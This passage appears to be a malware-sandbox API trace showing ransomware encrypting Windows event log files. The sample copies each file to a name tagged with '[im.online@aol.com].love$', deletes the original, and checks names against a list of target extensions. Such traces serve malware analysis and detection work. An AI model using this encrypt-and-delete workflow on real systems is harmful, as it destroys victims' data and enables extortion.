[0226.709] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0226.709] WriteFile (in: hFile=0x404, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x16c, lpOverlapped=0x0) returned 1 [0226.709] SetEndOfFile (hFile=0x404) returned 1 [0226.709] CloseHandle (hObject=0x404) returned 1 [0226.712] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.712] SetEndOfFile (hFile=0x3bc) returned 1 [0226.713] CloseHandle (hObject=0x3bc) returned 1 [0226.714] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.714] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1 [0226.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0226.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0226.714] lstrlenW (lpString=".doc") returned 4 [0226.714] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.714] lstrlenW (lpString=".docx") returned 5 [0226.715] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.715] lstrlenW (lpString=".pdf") returned 4 [0226.715] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.715] lstrlenW (lpString=".xls") returned 4 [0226.715] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.715] lstrlenW (lpString=".xlsx") returned 5 [0226.715] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.715] lstrlenW (lpString=".ppt") returned 4 [0226.715] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.715] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0226.715] lstrlenW (lpString=".zip") returned 4 [0226.715] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.715] lstrlenW (lpString=".rar") returned 4 [0226.715] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.715] lstrlenW (lpString=".bz2") returned 4 [0226.715] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.715] lstrlenW (lpString=".7z") returned 3 [0226.715] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.715] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0226.715] lstrlenW (lpString=".dbf") returned 4 [0226.715] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.715] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0226.715] lstrlenW (lpString=".1cd") returned 4 [0226.715] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.715] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0226.715] lstrlenW (lpString=".jpg") returned 4 [0226.715] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0226.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0226.716] lstrlenW (lpString=".doc") returned 4 [0226.716] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.716] lstrlenW (lpString=".docx") returned 5 [0226.716] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.716] lstrlenW (lpString=".pdf") returned 4 [0226.716] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.716] lstrlenW (lpString=".xls") returned 4 [0226.716] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.716] lstrlenW (lpString=".xlsx") returned 5 [0226.716] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.716] lstrlenW (lpString=".ppt") returned 4 [0226.716] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0226.716] lstrlenW (lpString=".zip") returned 4 [0226.716] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.716] lstrlenW (lpString=".rar") returned 4 [0226.716] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.716] lstrlenW (lpString=".bz2") returned 4 [0226.716] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.716] lstrlenW (lpString=".7z") returned 3 [0226.716] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0226.716] lstrlenW (lpString=".dbf") returned 4 [0226.716] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0226.716] lstrlenW (lpString=".1cd") returned 4 [0226.716] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.717] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0226.717] lstrlenW (lpString=".jpg") returned 4 [0226.717] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.717] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.717] lstrlenW (lpString="Microsoft-Windows-TWinUI%4Operational.evtx") returned 42 [0226.717] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0226.717] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=69632) returned 1 [0226.718] CloseHandle (hObject=0x3bc) returned 1 [0226.718] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20 [0226.718] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.718] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0226.718] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.718] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.718] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0226.719] GetLastError () returned 0x0 [0226.719] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.726] WriteFile (in: hFile=0x404, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.728] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0226.728] WriteFile (in: hFile=0x404, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x128, lpOverlapped=0x0) returned 1 [0226.728] SetEndOfFile (hFile=0x404) returned 1 [0226.729] CloseHandle (hObject=0x404) returned 1 [0226.732] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.732] SetEndOfFile (hFile=0x3bc) returned 1 [0227.058] CloseHandle (hObject=0x3bc) returned 1 [0227.058] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0227.058] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1 [0227.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0227.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0227.059] lstrlenW (lpString=".doc") returned 4 [0227.059] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.059] lstrlenW (lpString=".docx") returned 5 [0227.059] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.059] lstrlenW (lpString=".pdf") returned 4 [0227.059] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.059] lstrlenW (lpString=".xls") returned 4 [0227.059] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.059] lstrlenW (lpString=".xlsx") returned 5 [0227.059] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.059] lstrlenW (lpString=".ppt") returned 4 [0227.059] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0227.059] lstrlenW (lpString=".zip") returned 4 [0227.059] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.059] lstrlenW (lpString=".rar") returned 4 [0227.059] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.059] lstrlenW (lpString=".bz2") returned 4 [0227.060] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.060] lstrlenW (lpString=".7z") returned 3 [0227.060] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0227.060] lstrlenW (lpString=".dbf") returned 4 [0227.060] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0227.060] lstrlenW (lpString=".1cd") returned 4 [0227.060] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0227.060] lstrlenW (lpString=".jpg") returned 4 [0227.060] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0227.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0227.060] lstrlenW (lpString=".doc") returned 4 [0227.060] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.060] lstrlenW (lpString=".docx") returned 5 [0227.060] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.060] lstrlenW (lpString=".pdf") returned 4 [0227.060] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.060] lstrlenW (lpString=".xls") returned 4 [0227.060] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.060] lstrlenW (lpString=".xlsx") returned 5 [0227.060] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.060] lstrlenW (lpString=".ppt") returned 4 [0227.060] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.061] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0227.061] lstrlenW (lpString=".zip") returned 4 [0227.061] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.061] lstrlenW (lpString=".rar") returned 4 [0227.061] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.061] lstrlenW (lpString=".bz2") returned 4 [0227.061] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.061] lstrlenW (lpString=".7z") returned 3 [0227.061] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.061] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0227.061] lstrlenW (lpString=".dbf") returned 4 [0227.061] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.061] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0227.061] lstrlenW (lpString=".1cd") returned 4 [0227.061] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.061] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0227.061] lstrlenW (lpString=".jpg") returned 4 [0227.061] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.062] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0227.062] lstrlenW (lpString="Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 42 [0227.062] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0227.062] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=69632) returned 1 [0227.062] CloseHandle (hObject=0x3bc) returned 1 [0227.062] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20 [0227.063] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.063] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0227.063] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0227.063] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0227.063] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0227.064] GetLastError () returned 0x0 [0227.064] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0227.102] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 [0227.105] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0227.105] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x128, lpOverlapped=0x0) returned 1 [0227.105] SetEndOfFile (hFile=0x44c) returned 1 [0227.105] CloseHandle (hObject=0x44c) returned 1 [0227.108] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0227.108] SetEndOfFile (hFile=0x3bc) returned 1 [0227.111] CloseHandle (hObject=0x3bc) returned 1 [0227.112] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0227.112] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1 [0227.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0227.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0227.112] lstrlenW (lpString=".doc") returned 4 [0227.112] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.112] lstrlenW (lpString=".docx") returned 5 [0227.113] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.113] lstrlenW (lpString=".pdf") returned 4 [0227.113] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.113] lstrlenW (lpString=".xls") returned 4 [0227.113] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.113] lstrlenW (lpString=".xlsx") returned 5 [0227.113] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.113] lstrlenW (lpString=".ppt") returned 4 [0227.113] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0227.113] lstrlenW (lpString=".zip") returned 4 [0227.113] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.113] lstrlenW (lpString=".rar") returned 4 [0227.113] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.113] lstrlenW (lpString=".bz2") returned 4 [0227.113] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.113] lstrlenW (lpString=".7z") returned 3 [0227.113] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0227.113] lstrlenW (lpString=".dbf") returned 4 [0227.113] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0227.113] lstrlenW (lpString=".1cd") returned 4 [0227.113] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0227.113] lstrlenW (lpString=".jpg") returned 4 [0227.113] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.114] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0227.114] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0227.114] lstrlenW (lpString=".doc") returned 4 [0227.114] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.114] lstrlenW (lpString=".docx") returned 5 [0227.114] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.114] lstrlenW (lpString=".pdf") returned 4 [0227.114] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.114] lstrlenW (lpString=".xls") returned 4 [0227.114] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.114] lstrlenW (lpString=".xlsx") returned 5 [0227.114] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.114] lstrlenW (lpString=".ppt") returned 4 [0227.114] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.114] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0227.114] lstrlenW (lpString=".zip") returned 4 [0227.114] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.114] lstrlenW (lpString=".rar") returned 4 [0227.114] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.114] lstrlenW (lpString=".bz2") returned 4 [0227.114] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.114] lstrlenW (lpString=".7z") returned 3 [0227.114] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.114] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0227.114] lstrlenW (lpString=".dbf") returned 4 [0227.114] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.114] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0227.114] lstrlenW (lpString=".1cd") returned 4 [0227.115] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0227.115] lstrlenW (lpString=".jpg") returned 4 [0227.115] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.115] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0227.115] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 82 [0227.115] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0227.115] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=69632) returned 1 [0227.115] CloseHandle (hObject=0x3bc) returned 1 [0227.116] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20 [0227.116] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.116] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0227.116] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0227.116] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0227.116] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0227.117] GetLastError () returned 0x0 [0227.117] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0227.149] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 [0227.566] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0227.566] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x178, lpOverlapped=0x0) returned 1 [0227.566] SetEndOfFile (hFile=0x44c) returned 1 [0227.566] CloseHandle (hObject=0x44c) returned 1 [0227.571] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0227.571] SetEndOfFile (hFile=0x3bc) returned 1 [0227.573] CloseHandle (hObject=0x3bc) returned 1 [0227.574] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0227.574] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1 [0227.575] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0227.575] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced 